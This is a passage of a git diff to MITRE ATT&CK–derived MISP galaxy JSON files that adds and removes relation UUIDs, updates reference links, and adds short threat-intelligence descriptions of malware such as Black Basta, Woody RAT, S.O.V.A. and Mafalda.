}, + "related": [ + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "10ffac09-e42d-4f56-ab20-db94c67d76ff", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "19401639-28d0-4c3c-adcc-bc2ba22f6421", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "31fe0ba2-62fd-4fd9-9293-4043d84f7fe9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": 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"a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a7881f21-e978-4fe4-af56-92c9416a2616", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cabe189c-a0e3-4965-a473-dcff00f17213", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "b7f627e2-0817-4cd5-8d50-e75f8aa85cc6", + "value": "LuminousMoth - G1014" + }, { "description": "[CostaRicto](https://attack.mitre.org/groups/G0132) is a suspected hacker-for-hire cyber espionage campaign that has targeted multiple industries worldwide since at least 2019. [CostaRicto](https://attack.mitre.org/groups/G0132)'s targets, a large portion of which are financial institutions, are scattered across Europe, the Americas, Asia, Australia, and Africa, with a large concentration in South Asia.(Citation: BlackBerry CostaRicto November 2020)", "meta": { @@ -30367,6 +29872,13 @@ ], "type": "uses" }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ @@ -30388,6 +29900,13 @@ ], "type": "uses" }, + { + "dest-uuid": "132d5b37-aac5-4378-a8dc-3127b18a73dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "26c87906-d750-42c5-946c-d4162c73fc7b", "tags": [ @@ -30395,6 +29914,13 @@ ], "type": "uses" }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ @@ -30437,6 +29963,13 @@ ], "type": "uses" }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "7610cada-1499-41a4-b3dd-46467b68d177", "tags": [ @@ -30458,6 +29991,13 @@ ], "type": "uses" }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "88d31120-5bc7-4ce3-a9c0-7cf147be8e54", "tags": [ @@ -30465,6 +30005,13 @@ ], "type": "uses" }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ @@ -30486,6 +30033,13 @@ ], "type": "uses" }, + { + "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", "tags": [ @@ -30507,6 +30061,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -30514,6 +30075,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ @@ -30521,6 +30089,13 @@ ], "type": "uses" }, + { + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ @@ -30804,6 +30379,13 @@ ], "type": "uses" }, + { + "dest-uuid": "2d3f5b3c-54ca-4f4d-bb1f-849346d31230", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", "tags": [ @@ -31213,7 +30795,7 @@ "meta": { "external_id": "G0138", "refs": [ - "http://download.ahnlab.com/global/brochure/[Analysis]Andariel_Group.pdf", + "http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf", "http://www.issuemakerslab.com/research3/", "https://adversary.crowdstrike.com/en-US/adversary/silent-chollima/", "https://attack.mitre.org/groups/G0138", @@ -31525,6 +31107,13 @@ ], "type": "uses" }, + { + "dest-uuid": "55bb4471-ff1f-43b4-88c1-c9384ec47abf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "56e0d8b8-3e25-49dd-9050-3aa252f5aa92", "tags": [ @@ -31754,5 +31343,5 @@ "value": "TeamTNT - G0139" } ], - "version": 30 + "version": 31 } diff --git a/clusters/mitre-malware.json b/clusters/mitre-malware.json index 802bca1..523ed4a 100644 --- a/clusters/mitre-malware.json +++ b/clusters/mitre-malware.json @@ -35,13 +35,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "6856ddd6-2df3-4379-8b87-284603c189c3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "4b62ab58-c23b-4704-9c15-edd568cd59f8", @@ -429,12 +422,12 @@ "Windows" ], "refs": [ - "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf", "https://401trg.github.io/pages/burning-umbrella.html", "https://attack.mitre.org/software/S0141", "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/", "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a", - "https://securelist.com/winnti-more-than-just-a-game/37029/" + "https://securelist.com/winnti-more-than-just-a-game/37029/", + "https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf" ], "synonyms": [ "Winnti for Windows" @@ -931,6 +924,13 @@ ] }, "related": [ + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ @@ -1121,9 +1121,9 @@ "macOS" ], "refs": [ - "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", "https://attack.mitre.org/software/S0032", "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/", + "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", "https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/", "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html" ], @@ -1314,7 +1314,7 @@ "value": "gh0st RAT - S0032" }, { - "description": "[China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1505/003) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)", + "description": "[China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1505/003) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server.(Citation: Lee 2013) It has been used by several threat groups.(Citation: Dell TG-3390)(Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)(Citation: Rapid7 HAFNIUM Mar 2021)", "meta": { "external_id": "S0020", "mitre_platforms": [ @@ -1325,6 +1325,7 @@ "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html", "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", + "https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/", "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" ], "synonyms": [ @@ -1538,6 +1539,192 @@ "uuid": "ab3580c8-8435-4117-aace-3d9fbe46aa56", "value": "Unknown Logger - S0130" }, + { + "description": "[Black Basta](https://attack.mitre.org/software/S1070) is ransomware written in C++ that has been offered within the ransomware-as-a-service (RaaS) model since at least April 2022; there are variants that target Windows and VMWare ESXi servers. [Black Basta](https://attack.mitre.org/software/S1070) operations have included the double extortion technique where in addition to demanding ransom for decrypting the files of targeted organizations the cyber actors also threaten to post sensitive information to a leak site if the ransom is not paid. [Black Basta](https://attack.mitre.org/software/S1070) affiliates have targeted multiple high-value organizations, with the largest number of victims based in the U.S. Based on similarities in TTPs, leak sites, payment sites, and negotiation tactics, security researchers assess the [Black Basta](https://attack.mitre.org/software/S1070) RaaS operators could include current or former members of the [Conti](https://attack.mitre.org/software/S0575) group.(Citation: Palo Alto Networks Black Basta August 2022)(Citation: Deep Instinct Black Basta August 2022)(Citation: Minerva Labs Black Basta May 2022)(Citation: Avertium Black Basta June 2022)(Citation: NCC Group Black Basta June 2022)(Citation: Cyble Black Basta May 2022)", + "meta": { + "external_id": "S1070", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S1070", + "https://blog.cyble.com/2022/05/06/black-basta-ransomware/", + "https://minerva-labs.com/blog/new-black-basta-ransomware-hijacks-windows-fax-service/", + "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", + "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware", + "https://www.avertium.com/resources/threat-reports/in-depth-look-at-black-basta-ransomware", + "https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence" + ], + "synonyms": [ + "Black Basta" + ] + }, + "related": [ + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": 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"e4dc8c01-417f-458d-9ee0-bb0617c1b391", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "8d242fb4-9033-4f13-8a88-4b9b4bcd9a53", + "value": "Black Basta - S1070" + }, { "description": "[Cherry Picker](https://attack.mitre.org/software/S0107) is a point of sale (PoS) memory scraper. (Citation: Trustwave Cherry Picker)", "meta": { @@ -1715,6 +1902,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -3357,13 +3551,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", "tags": [ @@ -3836,13 +4023,6 @@ ], "type": "uses" }, - { - "dest-uuid": "99709758-2b96-48f2-a68a-ad7fbd828091", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ @@ -4176,6 +4356,229 @@ "uuid": "54895630-efd2-4608-9c24-319de972a9eb", "value": "Ragnar Locker - S0481" }, + { + "description": " [Woody RAT](https://attack.mitre.org/software/S1065) is a remote access trojan (RAT) that has been used since at least August 2021 against Russian organizations.(Citation: MalwareBytes WoodyRAT Aug 2022)", + "meta": { + "external_id": "S1065", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S1065", + "https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild" + ], + "synonyms": [ + "Woody RAT" + ] + }, + "related": [ + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "132d5b37-aac5-4378-a8dc-3127b18a73dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + 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"bf176076-b789-408e-8cba-7275e81c0ada", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "3bc7e862-5610-4c02-9c48-15b2e2dc1ddb", + "value": "Woody RAT - S1065" + }, { "description": "[SYNful Knock](https://attack.mitre.org/software/S0519) is a stealthy modification of the operating system of network devices that can be used to maintain persistence within a victim's network and provide new capabilities to the adversary.(Citation: Mandiant - Synful Knock)(Citation: Cisco Synful Knock Evolution)", "meta": { @@ -5582,13 +5985,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -6418,13 +6814,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "e1161124-f22e-487f-9d5f-ed8efc8dcd61", @@ -6516,13 +6905,6 @@ ], "type": "uses" }, - { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", "tags": [ @@ -6551,6 +6933,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d2c4e5ea-dbdf-4113-805a-b1e2a337fb33", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -6923,6 +7312,160 @@ "uuid": "3161d76a-e2b2-4b97-9906-24909b735386", "value": "Aria-body - S0456" }, + { + "description": "[S.O.V.A.](https://attack.mitre.org/software/S1062) is an Android banking trojan that was first identified in August 2021 and has subsequently been found in a variety of applications, including banking, cryptocurrency wallet/exchange, and shopping apps. [S.O.V.A.](https://attack.mitre.org/software/S1062), which is Russian for \"owl\", contains features not commonly found in Android malware, such as session cookie theft.(Citation: threatfabric_sova_0921)(Citation: cleafy_sova_1122)", + "meta": { + "external_id": "S1062", + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/software/S1062", + "https://www.cleafy.com/cleafy-labs/sova-malware-is-back-and-is-evolving-rapidly", + "https://www.threatfabric.com/blogs/sova-new-trojan-with-fowl-intentions.html" + ], + "synonyms": [ + "S.O.V.A." + ] + }, + "related": [ + { + "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0cdd66ad-26ac-4338-a764-4972a1e17ee3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "51636761-2e35-44bf-9e56-e337adf97174", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "74e6003f-c7f4-4047-983b-708cc19b96b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1f1337e-aea7-454c-86bd-482a98ffaf62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d9e88203-2b5d-405f-a406-2933b1e3d7e4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dc01774a-d1c1-45fb-b506-0a5d1d6593d9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "4b53eb01-57d7-47b4-b078-22766b002b36", + "value": "S.O.V.A. - S1062" + }, { "description": "[Android/Chuli.A](https://attack.mitre.org/software/S0304) is Android malware that was delivered to activist groups via a spearphishing email with an attachment. (Citation: Kaspersky-WUC)", "meta": { @@ -7131,13 +7674,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "6856ddd6-2df3-4379-8b87-284603c189c3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "c5e9cb46-aced-466c-85ea-7db5572ad9ec", @@ -8279,13 +8815,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "e170995d-4f61-4f17-b60e-04f9a06ee517", @@ -8463,13 +8992,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "72f54d66-675d-4587-9bd3-4ed09f9522e4", @@ -9109,8 +9631,8 @@ "Windows" ], "refs": [ - "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", "https://attack.mitre.org/software/S0009", + "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html" ], "synonyms": [ @@ -9529,9 +10051,9 @@ "Linux" ], "refs": [ - "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", "https://attack.mitre.org/software/S0021", "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf", + "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/" ], @@ -9680,13 +10202,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "94379dec-5c87-49db-b36e-66abc0b81344", @@ -9860,9 +10375,9 @@ "Windows" ], "refs": [ - "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", "https://attack.mitre.org/software/S0012", "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", + "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf", "https://www.symantec.com/connect/blogs/life-mars-how-attackers-took-advantage-hope-alien-existance-new-darkmoon-campaign", "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" @@ -9973,13 +10488,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -10434,8 +10942,8 @@ "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf", "http://labs.lastline.com/an-analysis-of-plugx", "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/", - "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", "https://attack.mitre.org/software/S0013", + "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html", "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" ], @@ -10576,13 +11084,6 @@ ], "type": "uses" }, - { - "dest-uuid": "99709758-2b96-48f2-a68a-ad7fbd828091", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ @@ -10660,13 +11161,6 @@ ], "type": "similar" }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", "tags": [ @@ -11477,6 +11971,13 @@ ] }, "related": [ + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65", "tags": [ @@ -11881,6 +12382,271 @@ "uuid": "40a1b8ec-7295-416c-a6b1-68181d86f120", "value": "Hildegard - S0601" }, + { + "description": "[Mafalda](https://attack.mitre.org/software/S1060) is a flexible interactive implant that has been used by [Metador](https://attack.mitre.org/groups/G1013). Security researchers assess the [Mafalda](https://attack.mitre.org/software/S1060) name may be inspired by an Argentinian cartoon character that has been popular as a means of political commentary since the 1960s. (Citation: SentinelLabs Metador Sept 2022)", + "meta": { + "external_id": "S1060", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://assets.sentinelone.com/sentinellabs22/metador#page=1", + "https://attack.mitre.org/software/S1060" + ], + "synonyms": [ + "Mafalda" + ] + }, + "related": [ + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", + "tags": [ + 